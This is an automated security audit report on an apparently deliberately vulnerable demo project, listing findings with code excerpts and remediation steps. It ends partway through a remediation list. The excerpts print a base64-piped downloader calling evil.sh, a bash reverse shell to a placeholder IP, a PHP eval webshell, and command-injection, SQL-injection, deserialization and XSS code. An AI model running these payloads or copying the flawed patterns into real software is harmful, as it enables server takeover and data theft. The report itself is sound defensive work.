SECURITY ASSESSMENT REPORT

vulnerable-demo

Automated code, configuration and architecture audit

DATE
2026-11-09

RUN
#1

STRICTNESS
standard

SCOPE
vulnerable-demo

TOOL
PN-Ultra-Audit 1.0.26

CONFIDENTIAL

1 Executive summary

CRITICAL

Overall risk level

99 confirmed findings: 10 critical, 32 high, 33 medium and 20 low. The quality gate FAILS.

10	32	33	20
CRITICAL	HIGH	MEDIUM	LOW

SECURITY Critical

E

A B C D **E**

RELIABILITY Poor

D

A B C **D** E

MAINTAINABI... Poor

D

A B C **D** E

Technical debt 27.3%

SEVERITY DISTRIBUTION



Critical	10	10%
High	32	32%
Medium	33	33%
Low	20	20%
Info	4	4%

OWASP TOP 10



KEY RISKS

SEVERITY	TITLE	FILE
CRITICAL	**Shell command execution (PHP)** Remote code execution on the server.	app/Http/UserController.php:10
CRITICAL	**Shell command execution (Python)** Remote code execution on the server.	backend/app.py:25
CRITICAL	**Shell command execution (Node)** Remote code execution on the server.	backend/server.js:6
CRITICAL	**Wallet private key hard-coded** Account/cloud/database takeover depending on the secret's scope.	contracts/.env.example2:1
CRITICAL	**Unsafe deserialization** Remote code execution.	backend/app.py:43

SEVERITY	TITLE	FILE
CRITICAL	**`initialize()` can be called by anyone and more than once** Irreversible loss of user funds or protocol control - contracts are public, immutable (or hard to upgrade) and attacked within minutes of deployment.	contracts/Vault.sol:26
CRITICAL	**Shell decodes a blob and pipes it to a shell** You cannot review what actually runs; typical vehicle for droppers, stealers and backdoors.	scripts/setup.sh:1
CRITICAL	**Bash reverse shell (/dev/tcp)** The attacker gets an interactive shell on your machine/CI/server with the permissions of that process.	scripts/update.sh:2
CRITICAL	**PHP executes request data (webshell)** Full remote control of the server: read the database and secrets, deface or pivot into your network, install miners and persistence. This is usually the footprint of a past compromise.	web/uploads/shell.php:1
CRITICAL	**1 of 2 sampled `users.password` values do not look hashed** A DB leak exposes every user's real password (and reuse elsewhere).	app.db:1

2 Scope and methodology

Target	vulnerable-demo
Project type	backend, frontend, mobile, database, web, web3, infra
Auditors run	aitrace, db, docs, malware, qa, quality, security, seo, tests, web3
Size	132 LOC · 30 files
Languages	Python, Solidity, JavaScript, PHP, TypeScript, Swift, SQL, Shell
Detected stack	Android, iOS, react, react-dom, Docker, Terraform, GitHub Actions
Strictness	standard

Methodology: static analysis (SAST) with untrusted-input tracing (taint), configuration, secrets, dependencies and SBOM, quality and architecture, tests, SEO/PWA and, when requested, databases and servers in read-only mode. No active exploitation was performed.

This report covers only what is listed under “Coverage”. No findings does not prove absence of defects: automatic rules are heuristics (regex + nearby variable tracking), not full data-flow analysis. “To review” items depend on context or on facts outside the repository. Verify each fix with its test before deploying.

3 Findings

SEVERITY	ID	TITLE	FILE	EFFORT
CRITICAL	SEC-002	**Shell command execution (PHP)**	app/Http/UserController.php:10	30 min

SEVERITY	ID	TITLE	FILE	EFFORT
CRITICAL	SEC-003	**Shell command execution (Python)**	backend/app.py:25	30 min
CRITICAL	SEC-005	**Shell command execution (Node)**	backend/server.js:6	30 min
CRITICAL	SEC-006	**Wallet private key hard-coded**	contracts/.env.example2:1	30 min
CRITICAL	SEC-004	**Unsafe deserialization**	backend/app.py:43	45 min
CRITICAL	SEC-007	**`initialize()` can be called by anyone and more than once**	contracts/Vault.sol:26	45 min
CRITICAL	SEC-008	**Shell decodes a blob and pipes it to a shell**	scripts/setup.sh:1	1.0 h
CRITICAL	SEC-009	**Bash reverse shell (/dev/tcp)**	scripts/update.sh:2	1.0 h
CRITICAL	SEC-010	**PHP executes request data (webshell)**	web/uploads/shell.php:1	1.0 h
CRITICAL	SEC-001	**1 of 2 sampled `users.password` values do not look hashed**	app.db:1	2.0 h
HIGH	BUG-002	**1 web-first assertion(s) not awaited - they never fail the test**	web/tests/checkout.spec.ts:6	3 min
HIGH	SEC-037	**Android: debuggable / cleartext**	mobile/android/app/src/main/AndroidManifest.xml:2	5 min
HIGH	SEO-001	**Pages without <title> (1 of 1 HTML pages)**	web/index.html:1	5 min
HIGH	SEO-002	**robots.txt blocks the whole site (Disallow: /)**	web/public/robots.txt:1	5 min
HIGH	SEC-013	**Request data echoed without encoding (PHP)**	app/Http/UserController.php:6	10 min
HIGH	SEC-019	**User input rendered as HTML without escaping (Python)**	backend/app.py:20	10 min
HIGH	SEC-023	**User input written straight into HTML response (Node)**	backend/server.js:4	10 min
HIGH	SEC-025	**User input written straight into HTML response (Node)**	backend/server.js:6	10 min
HIGH	BUG-001	**iOS: code uses a protected API but Info.plist lacks NSLocationWhenInUseUsageDescription (crash + App Store rejection)**	mobile/ios/App/Info.plist:1	10 min
HIGH	SEC-032	**tx.origin used for authorization (phishing via intermediate contract)**	contracts/Vault.sol:22	15 min
HIGH	SEC-036	**Raw HTML sink (innerHTML/document.write)**	frontend/src/App.jsx:2	15 min

SEVERITY	ID	TITLE	FILE	EFFORT
⚠ HIGH	SEC-012	**SQL built with string concatenation (PHP)**	app/Http/UserController.php:5	20 min
⚠ HIGH	SEC-014	**Object loaded by client-supplied id (check ownership)**	app/Http/UserController.php:7	20 min
⚠ HIGH	SEC-015	**Hard-coded credential**	backend/app.py:5	20 min
⚠ HIGH	SEC-016	**Database URL with credentials**	backend/app.py:6	20 min
⚠ HIGH	SEC-017	**SQL built with string formatting (Python)**	backend/app.py:12	20 min
⚠ HIGH	SEC-018	**SQL built with string formatting (Python)**	backend/app.py:19	20 min
⚠ HIGH	SEC-021	**File access with user-controlled path**	backend/app.py:39	20 min
⚠ HIGH	SEC-024	**SQL built with template/concatenation (JS/TS)**	backend/server.js:5	20 min
⚠ HIGH	SEC-026	**JWT signed with hard-coded secret**	backend/server.js:7	20 min
⚠ HIGH	SEC-027	**Object loaded by client-supplied id (check ownership)**	backend/server.js:8	20 min
⚠ HIGH	SEC-031	**Solidity tx.origin authorization**	contracts/Vault.sol:22	20 min
⚠ HIGH	SEC-034	**Over-broad GRANT**	db/schema.sql:3	20 min
⚠ HIGH	SEC-035	**Database user password in SQL script**	db/schema.sql:4	20 min
⚠ HIGH	SEC-020	**Outbound request to user-controlled URL**	backend/app.py:31	30 min
⚠ HIGH	SEC-038	**Dynamic code evaluation**	web/uploads/shell.php:1	30 min
⚠ HIGH	SEC-011	**Pipes environment/credentials to a network tool**	.github/workflows/deploy.yml:7	1.0 h
⚠ HIGH	SEC-022	**Password hashed with MD5/SHA-1**	backend/app.py:51	1.0 h
⚠ HIGH	SEC-028	**Cryptocurrency miner (stratum / XMRig / CoinHive)**	config/pool.json:1	1.0 h
⚠ HIGH	SEC-029	**`withdraw()` updates state AFTER an external call (reentrancy)**	contracts/Vault.sol:12	1.0 h
⚠ HIGH	SEC-030	**`sweep()` moves value/mints/burns/selfdestructs but has no visible access control**	contracts/Vault.sol:18	1.0 h
⚠ HIGH	SEC-033	**`pickWinner()` derives randomness from block data (miner/validator-influenced)**	contracts/Vault.sol:24	2.0 h

SEVERITY	ID	TITLE	FILE	EFFORT
MEDIUM	BUG-010	**Focused test committed (`.only` / `fit`) - the rest of the suite is silently skipped**	web/tests/checkout.spec.ts:8	2 min
MEDIUM	A11-001	**Image without alt text**	web/index.html:10	3 min
MEDIUM	SEC-039	**SQLite file is world-accessible (0o644)**	app.db:1	5 min
MEDIUM	SEC-044	**Secret/password written to logs**	frontend/src/App.jsx:4	5 min
MEDIUM	TST-007	**package.json has no working `test` script**	package.json:1	5 min
MEDIUM	SEO-004	**Pages without meta description (1 of 1 HTML pages)**	web/index.html:1	5 min
MEDIUM	SEO-005	**Pages without viewport meta (not mobile-friendly) (1 of 1 HTML pages)**	web/index.html:1	5 min
MEDIUM	TST-005	**iOS: 1 sleep/asyncAfter calls in tests (flaky)**	mobile/ios/AppUITests/LoginUITests.swift:3	6 min
MEDIUM	TST-009	**Fixed sleeps in tests: 2 occurrence(s) in 1 file(s)**	web/tests/checkout.spec.ts:4	8 min
MEDIUM	BUG-006	**Loose comparison in auth/token check**	app/Http/UserController.php:9	10 min
MEDIUM	SEC-040	**Redirect to user-controlled URL**	backend/app.py:35	10 min
MEDIUM	SEC-041	**Non-cryptographic RNG for secrets**	backend/server.js:9	10 min
MEDIUM	A11-002	**Click handler on a non-interactive element (keyboard/screen-reader inaccessible)**	web/index.html:11	10 min
MEDIUM	BUG-007	**async callback in forEach (not awaited)**	backend/server.js:10	15 min
MEDIUM	COD-004	**Table `users` has no PRIMARY KEY**	db/schema.sql:1	20 min
MEDIUM	TST-003	**Test file `mobile/ios/AppUITests/LoginUITests.swift` defines tests but contains no assertions**	mobile/ios/AppUITests/LoginUITests.swift:1	20 min
MEDIUM	TST-008	**Test file `tests/test_app.py` defines tests but contains no assertions**	tests/test_app.py:1	20 min
MEDIUM	COD-003	**Table `users` has no PRIMARY KEY**	app.db:1	25 min
MEDIUM	SEO-003	**No sitemap.xml (or generator) found**	.:1	30 min
MEDIUM	BUG-003	**Invalid foreign key definition**	app.db:1	30 min
MEDIUM	BUG-004	**Money column `users.balance` uses REAL**	app.db:1	30 min
MEDIUM	BUG-005	**Money column `orders.total` uses REAL**	app.db:1	30 min
MEDIUM	BUG-008	**Money column `users.price` uses FLOAT**	db/schema.sql:1	30 min

SEVERITY	ID	TITLE	FILE	EFFORT
MEDIUM	SEC-043	**Password column `users.password` too short for a modern hash (32)**	db/schema.sql:1	30 min
MEDIUM	BUG-009	**Money column `orders.total` uses FLOAT**	db/schema.sql:2	30 min
MEDIUM	COD-001	**Project has no README**	.:1	45 min
MEDIUM	COD-002	**CI does not appear to run: tests, lint**	.github/workflows/deploy.yml:1	45 min
MEDIUM	SEC-042	**Solidity randomness from block data**	contracts/Vault.sol:24	1.0 h
MEDIUM	TST-004	**iOS: UI tests exist but production code sets no accessibilityIdentifier**	mobile/ios/AppUITests/LoginUITests.swift:1	1.5 h
MEDIUM	TST-006	**Front-end has no unit/component test runner (Vitest/Jest/Karma)**	package.json:1	1.5 h
MEDIUM	SEM-001	**Tracking tags found (Google Analytics 4, Meta Pixel) but no consent management detected**	web/index.html:1	2.0 h
MEDIUM	TST-001	**Android: no unit tests (src/test) for the app code**	.:1	4.0 h
MEDIUM	TST-002	**Android: no instrumented/UI tests (src/androidTest)**	.:1	4.0 h
LOW	TST-012	**iOS: 1 UI test file(s) do not set continueAfterFailure = false**	mobile/ios/AppUITests/LoginUITests.swift:1	2 min
LOW	A11-003	**<html> without lang attribute**	web/index.html:2	2 min
LOW	COD-009	**Floating pragma (^0.8.0): deployed bytecode may differ from what was audited**	contracts/Vault.sol:1	5 min
LOW	DEP-001	**`package.json` has no lockfile**	package.json:1	5 min
LOW	SEO-006	**Pages without canonical link (1 of 1 HTML pages)**	web/index.html:1	5 min
LOW	SEO-007	**Pages with zero or multiple <h1> (1 of 1 HTML pages)**	web/index.html:1	5 min
LOW	SEO-008	**Pages missing Open Graph title/image (1 of 1 HTML pages)**	web/index.html:1	5 min
LOW	SEO-009	**Pages with ≥3 images lacking width/height (layout shift) (1 of 1 HTML pages)**	web/index.html:1	5 min
LOW	SEO-010	**Pages with render-blocking <script> (no async/defer) (1 of 1 HTML pages)**	web/index.html:1	5 min
LOW	DEP-002	**`web/package.json` has no lockfile**	web/package.json:1	5 min
LOW	TST-010	**iOS: code coverage not enabled in scheme/test plan**	.:1	10 min
LOW	COD-006	**Foreign keys declared but PRAGMA foreign_keys is OFF by default**	app.db:1	10 min

SEVERITY	ID	TITLE	FILE	EFFORT
LOW	PER-001	**Foreign key `orders.user_id` without index**	app.db:1	10 min
LOW	BUG-011	**Mutable default argument that is mutated or leaked**	backend/app.py:53	10 min
LOW	COD-008	**Empty catch/except (swallowed error)**	backend/app.py:62	10 min
LOW	PER-002	**Foreign key `orders.user_id` without index**	db/schema.sql:2	10 min
LOW	COD-005	**Public API documentation coverage is 0.0% (target 60%)**	.:1	15 min
LOW	COD-010	**Table `orders` uses MyISAM**	db/schema.sql:2	20 min
LOW	COD-007	**Public API under-documented in `backend/app.py` (0/12)**	backend/app.py:1	36 min
LOW	TST-011	**No Slither/Echidna/Medusa/Certora in CI**	.:1	1.5 h
INFO	COD-013	**Comment reveals AI-assisted authoring**	backend/utils_ai.py:1	2 min
INFO	SEO-011	**robots.txt does not reference the sitemap**	web/public/robots.txt:1	2 min
INFO	COD-011	**Cursor configuration committed: .cursor**	.cursor/rules/style.mdc:1	5 min
INFO	COD-012	**Claude Code configuration committed: CLAUDE.md**	CLAUDE.md:1	5 min

CRITICAL AND HIGH FINDINGS IN DETAIL

CRITICAL **SEC-002** CMD-PHP CWE-78 A03:2021

Shell command execution (PHP)

app/Http/UserController.php:10

Impact: Remote code execution on the server.

```
    $r = DB::select("SELECT * FROM users WHERE id = " . $id);
    echo "Hello " . $_GET['name'];
    $u = User::findOrFail($request->id);
    User::create($request->all());
    if ($password == $stored) { return true; }
    system("convert " . $_GET['f']);
  }
}

```

Remediation:

1. Avoid shelling out: use a library or native API for the job.
2. If unavoidable, pass an argument array with no shell (`subprocess.run([...], shell=False)`, `execFile`, `ProcessBuilder(list)`).
3. Validate arguments against an allowlist/regex; never build the command string from input.
4. Run the process with the least privileges / in a sandbox.

CRITICAL **SEC-003** CMD-PY CWE-78 A03:2021

Shell command execution (Python)

backend/app.py:25

Impact: Remote code execution on the server.

```
    return render_template_string("<h1>Results for " + q + "</h1>")

@app.route("/ping")
def ping():
    host = request.args.get("host")
    os.system("ping -c 1 " + host)
    return "ok"

@app.route("/fetch")
```

Remediation:

1. Avoid shelling out: use a library or native API for the job.
2. If unavoidable, pass an argument array with no shell (`subprocess.run([...], shell=False)`, `execFile`, `ProcessBuilder(list)`).
3. Validate arguments against an allowlist/regex; never build the command string from input.
4. Run the process with the least privileges / in a sandbox.

CRITICAL **SEC-005** CMD-JS CWE-78 A03:2021

Shell command execution (Node)

backend/server.js:6

Impact: Remote code execution on the server.

```
1  const express = require('express'); const jwt = require('jsonwebtoken'); const { exec } = require('child_process');
2  const app = express();
3  app.use(require('cors')({ origin: '*' }));
4  app.get('/hello', (req, res) => { res.send('<h1>Hello ' + req.query.name + '</h1>'); });
5  app.get('/u', async (req, res) => { const { id } = req.query; const r = await db.query(`SELECT * FROM users WHERE id = ${id}`); res.json(r);
   });
6  app.get('/run', (req, res) => { exec('ls ' + req.query.dir, (e, o) => res.send(o)); });
7  app.post('/login', (req, res) => { const t = jwt.sign({ u: req.body.u }, 'hardcodedjwtsecret'); res.json({ t }); });
8  app.get('/item/:id', async (req, res) => { const it = await Item.findById(req.params.id); res.json(it); });
9  const token = Math.random().toString(36); // reset token
```

Remediation:

1. Avoid shelling out: use a library or native API for the job.
2. If unavoidable, pass an argument array with no shell (`subprocess.run([...], shell=False)`, `execFile`, `ProcessBuilder(list)`).
3. Validate arguments against an allowlist/regex; never build the command string from input.
4. Run the process with the least privileges / in a sandbox.

CRITICAL **SEC-006** SEC-WALLET-PRIVKEY CWE-321 CWE-798 A02:2021

Wallet private key hard-coded

contracts/.env.example2:1

Impact: Account/cloud/database takeover depending on the secret's scope.

```
PRIV…
```

Remediation:

1. Wallet: treat it as stolen - create a new wallet and move all funds/approvals NOW (revoke token approvals on the old address); never reuse the seed phrase.
2. RPC/provider keys (Infura/Alchemy/QuickNode): regenerate in the provider dashboard and add domain/IP allow-lists.
3. ROTATE/REVOKE the secret now - assume it is compromised.
4. Move it to env vars / secret manager (Vault, AWS SM, GCP SM, Doppler, GitHub Secrets); read at runtime.

CRITICAL **SEC-004** DESER CWE-502 A08:2021

Unsafe deserialization

backend/app.py:43

Impact: Remote code execution.

```
38  def file():
39      return send_file("/var/data/" + request.args.get("f"))
40
41  @app.route("/load", methods=["POST"])
42  def load():
43      return str(pickle.loads(request.data))
44
45  @app.route("/page")
46  def page():
```

Remediation:

1. Use data-only formats (JSON) and validate with a schema.
2. `yaml.safe_load`, never `yaml.load` without SafeLoader.
3. If native serialization is unavoidable: sign with HMAC and verify before deserializing, and allowlist classes.
4. Never deserialize cookies/params/uploads from clients.

CRITICAL **SEC-007** WEB3-UNPROTECTED-INIT CWE-665

`initialize()` can be called by anyone and more than once

contracts/Vault.sol:26

Impact: Irreversible loss of user funds or protocol control - contracts are public, immutable (or hard to upgrade) and attacked within minutes of deployment.

```
21
22      function isOwner() public view returns (bool) { return tx.origin == owner; }
23
24      function pickWinner() external view returns (uint) { return uint(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 10; }
25
26      function initialize(address o) public { owner = o; }
27  }
28
```

Remediation:

1. Apply Checks-Effects-Interactions and OpenZeppelin `ReentrancyGuard`; update state before any external call.
2. Protect every state-changing/privileged function with explicit access control (Ownable2Step / AccessControl) and a multisig + timelock for admin actions.
3. Initializers: `initializer` modifier and `_disableInitializers()` in implementation constructors; never leave `initialize` callable.
4. Check every low-level call result; use SafeERC20 for tokens; avoid `tx.origin`; pin the compiler version (>= 0.8.x).

CRITICAL **SEC-008** MAL-EXEC-SHB64 CWE-506 CWE-78 A08:2021

Shell decodes a blob and pipes it to a shell

scripts/setup.sh:1

Impact: You cannot review what actually runs; typical vehicle for droppers, stealers and backdoors.

```
1 echo 'aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwgZXZpbC5zaCB8IHNoJyk=aW1wb3J0IG9z' | base64 -d | sh
2
```

Remediation:

1. Do NOT run it. Decode in a sandbox/offline: replace the `exec/eval` with `print` and run in a throwaway container, or decode the blob with `base64 -d` and read it.
2. Find who added it: `git log -p -S'<fragment>' -- <file>`; if it was not intentional treat it as an incident (see the response steps below).
3. If it is a legitimate commercial obfuscator/licence loader, document it, pin the source, and keep it out of the repo (build step instead).
4. Replace dynamic execution with readable code or a reviewed dependency.

CRITICAL **SEC-009** MAL-REVSHELL-BASH CWE-506 CWE-78 A08:2021

Bash reverse shell (/dev/tcp)

scripts/update.sh:2

Impact: The attacker gets an interactive shell on your machine/CI/server with the permissions of that process.

```
1 #!/bin/bash
2 bash -i >& /dev/tcp/203.0.113.9/4444 0>&1
3
```

Remediation:

1. Treat as an active compromise: ISOLATE: take the host/CI runner offline or block its egress; do not delete evidence yet (copy the file and `git log -p -- <file>` somewhere safe).
2. ROTATE every secret the machine or repository could read (cloud keys, DB passwords, API tokens, SSH keys, CI secrets, signing keys). Assume they are compromised.
3. Remove the code, then find out how it was introduced (`git log -p -S'/dev/tcp' -- <file>`) and which commit/account/dependency added it.
4. Block outbound connections from build/runtime hosts except an allow-list (egress firewall, Kubernetes NetworkPolicy) and monitor for new outbound connections.

CRITICAL **SEC-010** MAL-WEBSHELL-EVAL CWE-506 CWE-94 A08:2021

PHP executes request data (webshell)

web/uploads/shell.php:1

Impact: Full remote control of the server: read the database and secrets, deface or pivot into your network, install miners and persistence. This is usually the footprint of a past compromise.

```
1  <?php @eval($_POST['x']); ?>
2
```

Remediation:

1. ISOLATE: take the host/CI runner offline or block its egress; do not delete evidence yet (copy the file and `git log -p -- <file>` somewhere safe).
2. ROTATE every secret the machine or repository could read (cloud keys, DB passwords, API tokens, SSH keys, CI secrets, signing keys). Assume they are compromised.
3. REMOVE the malicious code and find HOW it got in: `git log -p --follow -- <file>` (who/when), compromised dependency or account, vulnerable upload form, leaked deploy key.
4. Delete the file (after copying it as evidence), then compare the whole web root with a clean checkout: `git status`, `git diff --stat`, or `diff -r clean/ live/`.

CRITICAL **SEC-001** DB-PLAINTEXT-PASSWORDS CWE-256 A02:2021

1 of 2 sampled `users.password` values do not look hashed

app.db:1

Impact: A DB leak exposes every user's real password (and reuse elsewhere).

```
1/2 sampled rows in users.password (values not shown)
```

Remediation:

1. Switch to argon2id (or bcrypt cost ≥ 12 / scrypt) via the framework (`password_hash`, `bcrypt`, `passlib`, Spring `BCryptPasswordEncoder`).
2. On next successful login, re-hash the password with the new algorithm (transparent migration); keep a `hash_version` column.
3. Force reset for dormant accounts after a grace period.

⚠ HIGH **BUG-002** QA-UNAWAITED-EXPECT CWE-754

1 web-first assertion(s) not awaited - they never fail the test

web/tests/checkout.spec.ts:6

Impact: Teams stop trusting CI, reruns hide real failures, and un-awaited assertions pass even when the page is broken.

```
1  import { test, expect } from '@playwright/test';
2  test('test1', async ({ page }) => {
3    await page.goto('/checkout');
4    await page.waitForTimeout(3000);
5    await page.locator('.btn-primary').click({ force: true });
6    expect(page.getByText('Done')).toBeVisible();
7  });
8  test.only('works', async ({ page }) => {
9    await page.goto('https://shop.example.com/cart');
```

Remediation:

1. Replace sleeps with auto-waiting web-first assertions (`await expect(locator).toBeVisible()`), `waitFor`, or explicit network/route waits.
2. Locate like a user: getByRole > getByLabel > getByText > getByTestId > CSS (last resort); avoid XPath and deep CSS chains.
3. Remove `force: true`: fix the real overlap/animation; always `await expect(...)`.
4. Make every test independent (own data, fresh context); avoid serial mode unless truly required.

⚠ HIGH **SEC-037** MOB-ANDROID-DEBUG CWE-489 CWE-319 M8:2024

Android: debuggable / cleartext

mobile/android/app/src/main/AndroidManifest.xml:2

Impact: Data extraction via adb/backup, MITM, component hijack, XSS-to-native bridges.

```
1  <manifest xmlns:android="http://schemas.android.com/apk/res/android">
2    <application android:debuggable="true" android:allowBackup="true" android:usesCleartextTraffic="true">
3      <activity android:name=".Main" android:exported="true"/>
4    </application>
5  </manifest>
6
```

Remediation:

1. Release builds: `android:debuggable=false`, `allowBackup=false` (or backup rules), `usesCleartextTraffic=false`.
2. Set `android:exported="false"` unless needed; protect exported components with permissions.
3. WebView: disable JS unless required, no `addJavascriptInterface` on untrusted content, no file access.
4. Store tokens in Keystore-backed `EncryptedSharedPreferences`/Keychain/`flutter_secure_storage`, not plain prefs/AsyncStorage.

⚠ HIGH **SEO-001** SEO-NO-TITLE

Pages without <title> (1 of 1 HTML pages)

web/index.html:1

Impact: Lower rankings and click-through, poor social previews, duplicate-content confusion, weaker accessibility.

```
1 <!doctype html>
2 <html>
3 <head>
4 <title></title>
5 <script src="/js/app.js"></script>
6 <script async src="https://www.googletagmanager.com/gtag/js?id=G-ABC123XYZ"></script>
```

Remediation:

1. Give every indexable page a unique <title> (30-60 chars, primary keyword first, brand last) and a unique meta description (70-160 chars, a reason to click).
2. Add <link rel="canonical"> pointing to the preferred absolute URL (self-referencing by default).
3. Exactly one <h1> per page that matches the search intent; use h2/h3 for structure.
4. Add Open Graph (og:title, og:description, og:image 1200x630, og:url) and twitter:card.

⚠ HIGH **SEO-002** SEO-ROBOTS-BLOCKS-ALL

robots.txt blocks the whole site (Disallow: /)

web/public/robots.txt:1

Impact: Pages are not indexed or waste crawl budget; link equity is lost; users hit errors.

```
1 User-agent: *
2 Disallow: /
3
```

Remediation:

1. Publish /robots.txt (allow CSS/JS, point to the sitemap) and /sitemap.xml containing only 200, indexable, canonical URLs; submit it in Search Console.
2. Fix 4xx/5xx pages and internal links to them; replace redirect chains with a single 301 to the final URL.
3. Force HTTPS and a single host (www vs apex) with 301s; add HSTS.
4. Never ship `noindex` on pages you want ranked (check staging flags leaking to production).

⚠ HIGH **SEC-013** XSS-ECHO-PHP CWE-79 A03:2021

Request data echoed without encoding (PHP)

app/Http/UserController.php:6

Impact: Session/token theft, actions as the victim, defacement, keylogging, pivot to admin accounts (stored XSS hits every viewer).

```
1  <?php
2  class UserController {
3    public function show() {
4      $id = $_GET['id'];
5      $r = DB::select("SELECT * FROM users WHERE id = " . $id);
6      echo "Hello " . $_GET['name'];
7      $u = User::findOrFail($request->id);
8      User::create($request->all());
9      if ($password == $stored) { return true; }
```

Remediation:

1. Identify the sink (innerHTML, v-html, dangerouslySetInnerHTML, `{!! !!}`, `|safe`, echo of request data).
2. Prefer auto-escaping output: `textContent`, `{{ }}`/`{{ }}` templates, `htmlspecialchars($x, ENT_QUOTES, 'UTF-8')`.
3. If HTML must be rendered (rich text), sanitize with an allowlist library (DOMPurify, sanitize-html, bleach, HTMLPurifier) at render time.
4. Validate URL schemes (`http`, `https`, `mailto` only) before putting user data in `href`/`src`.

⚠ HIGH **SEC-019** XSS-REFLECT-PY CWE-79 A03:2021

User input rendered as HTML without escaping (Python)

backend/app.py:20

Impact: Session/token theft, actions as the victim, defacement, keylogging, pivot to admin accounts (stored XSS hits every viewer).

```
15 @app.route("/search")
16 def search():
17     q = request.args["q"]
18     cur = sqlite3.connect("db/app.db").cursor()
19     cur.execute("SELECT * FROM items WHERE name = '%s'" % q)
20     return render_template_string("<h1>Results for " + q + "</h1>")
21
22 @app.route("/ping")
23 def ping():
```

Remediation:

1. Identify the sink (innerHTML, v-html, dangerouslySetInnerHTML, `{!! !!}`, `|safe`, echo of request data).
2. Prefer auto-escaping output: `textContent`, `{{ }}`/`{{ }}` templates, `htmlspecialchars($x, ENT_QUOTES, 'UTF-8')`.
3. If HTML must be rendered (rich text), sanitize with an allowlist library (DOMPurify, sanitize-html, bleach, HTMLPurifier) at render time.
4. Validate URL schemes (`http`, `https`, `mailto` only) before putting user data in `href`/`src`.

HIGH **SEC-023** XSS-REFLECT-JS CWE-79 A03:2021

User input written straight into HTML response (Node)

backend/server.js:4

Impact: Session/token theft, actions as the victim, defacement, keylogging, pivot to admin accounts (stored XSS hits every viewer).

```
1 const express = require('express'); const jwt = require('jsonwebtoken'); const { exec } = require('child_process');
2 const app = express();
3 app.use(require('cors')({ origin: '*' }));
4 app.get('/hello', (req, res) => { res.send('<h1>Hello ' + req.query.name + '</h1>'); });
5 app.get('/u', async (req, res) => { const { id } = req.query; const r = await db.query(`SELECT * FROM users WHERE id = ${id}`); res.json(r); });
6 app.get('/run', (req, res) => { exec('ls ' + req.query.dir, (e, o) => res.send(o)); });
7 app.post('/login', (req, res) => { const t = jwt.sign({ u: req.body.u }, 'hardcodedjwtsecret'); res.json({ t }); });
8 app.get('/item/:id', async (req, res) => { const it = await Item.findById(req.params.id); res.json(it); });
9 const token = Math.random().toString(36); // reset token
```

Remediation:

1. Identify the sink (innerHTML, v-html, dangerouslySetInnerHTML, `{!! !!}`, `|safe`, echo of request data).
2. Prefer auto-escaping output: `textContent`, `{{ }}`/`{{ }}` templates, `htmlspecialchars($x, ENT_QUOTES, 'UTF-8')`.
3. If HTML must be rendered (rich text), sanitize with an allowlist library (DOMPurify, sanitize-html, bleach, HTMLPurifier) at render time.
4. Validate URL schemes (`http`, `https`, `mailto` only) before putting user data in `href`/`src`.

HIGH **SEC-025** XSS-REFLECT-JS CWE-79 A03:2021

User input written straight into HTML response (Node)

backend/server.js:6

Impact: Session/token theft, actions as the victim, defacement, keylogging, pivot to admin accounts (stored XSS hits every viewer).

```
1 const express = require('express'); const jwt = require('jsonwebtoken'); const { exec } = require('child_process');
2 const app = express();
3 app.use(require('cors')({ origin: '*' }));
4 app.get('/hello', (req, res) => { res.send('<h1>Hello ' + req.query.name + '</h1>'); });
5 app.get('/u', async (req, res) => { const { id } = req.query; const r = await db.query(`SELECT * FROM users WHERE id = ${id}`); res.json(r); });
6 app.get('/run', (req, res) => { exec('ls ' + req.query.dir, (e, o) => res.send(o)); });
7 app.post('/login', (req, res) => { const t = jwt.sign({ u: req.body.u }, 'hardcodedjwtsecret'); res.json({ t }); });
8 app.get('/item/:id', async (req, res) => { const it = await Item.findById(req.params.id); res.json(it); });
9 const token = Math.random().toString(36); // reset token
```

Remediation:

1. Identify the sink (innerHTML, v-html, dangerouslySetInnerHTML, `{!! !!}`, `|safe`, echo of request data).
2. Prefer auto-escaping output: `textContent`, `{{ }}`/`{{ }}` templates, `htmlspecialchars($x, ENT_QUOTES, 'UTF-8')`.
3. If HTML must be rendered (rich text), sanitize with an allowlist library (DOMPurify, sanitize-html, bleach, HTMLPurifier) at render time.
4. Validate URL schemes (`http`, `https`, `mailto` only) before putting user data in `href`/`src`.

⚠ HIGH **BUG-001** MOB-IOS-PERM-MISSING CWE-276 M6:2024

iOS: code uses a protected API but Info.plist lacks NSLocationWhenInUseUsageDescription (crash + App Store rejection)

mobile/ios/App/Info.plist:1

Impact: Android: SecurityException/feature silently fails. iOS: the app crashes on first use and fails App Store review.

```
1  <?xml version="1.0"?><plist version="1.0"><dict><key>CFBundleName</key><string>App</string></dict></plist>
2
```

Remediation:

1. Android: add `<uses-permission android:name="..."/>` and request it at runtime before use.
2. iOS: add the matching `NS...UsageDescription` key to Info.plist with a clear, user-facing reason.
3. Test the permission-denied path too (no crash, helpful UI).

⚠ HIGH **SEC-032** WEB3-TX-ORIGIN CWE-477

tx.origin used for authorization (phishing via intermediate contract)

contracts/Vault.sol:22

Impact: Irreversible loss of user funds or protocol control - contracts are public, immutable (or hard to upgrade) and attacked within minutes of deployment.

```
17
18     function sweep(address payable to) external {
19         to.transfer(address(this).balance);
20     }
21
22     function isOwner() public view returns (bool) { return tx.origin == owner; }
23
24     function pickWinner() external view returns (uint) { return uint(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 10; }
25
```

Remediation:

1. Apply Checks-Effects-Interactions and OpenZeppelin `ReentrancyGuard`; update state before any external call.
2. Protect every state-changing/privileged function with explicit access control (Ownable2Step / AccessControl) and a multisig + timelock for admin actions.
3. Initializers: `initializer` modifier and `_disableInitializers()` in implementation constructors; never leave `initialize` callable.
4. Check every low-level call result; use SafeERC20 for tokens; avoid `tx.origin`; pin the compiler version (>= 0.8.x).

⚠ HIGH **SEC-036** XSS-DOM CWE-79 A03:2021

Raw HTML sink (innerHTML/document.write)

frontend/src/App.jsx:2

Impact: Session/token theft, actions as the victim, defacement, keylogging, pivot to admin accounts (stored XSS hits every viewer).

```
export default function App({ html, user }) {
  useEffect(() => { document.getElementById('x').innerHTML = location.hash; }, []);
  localStorage.setItem('token', user.token);
  console.log('login', user.password);
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

```

Remediation:

1. Identify the sink (innerHTML, v-html, dangerouslySetInnerHTML, `{!! !!}`, `|safe`, echo of request data).
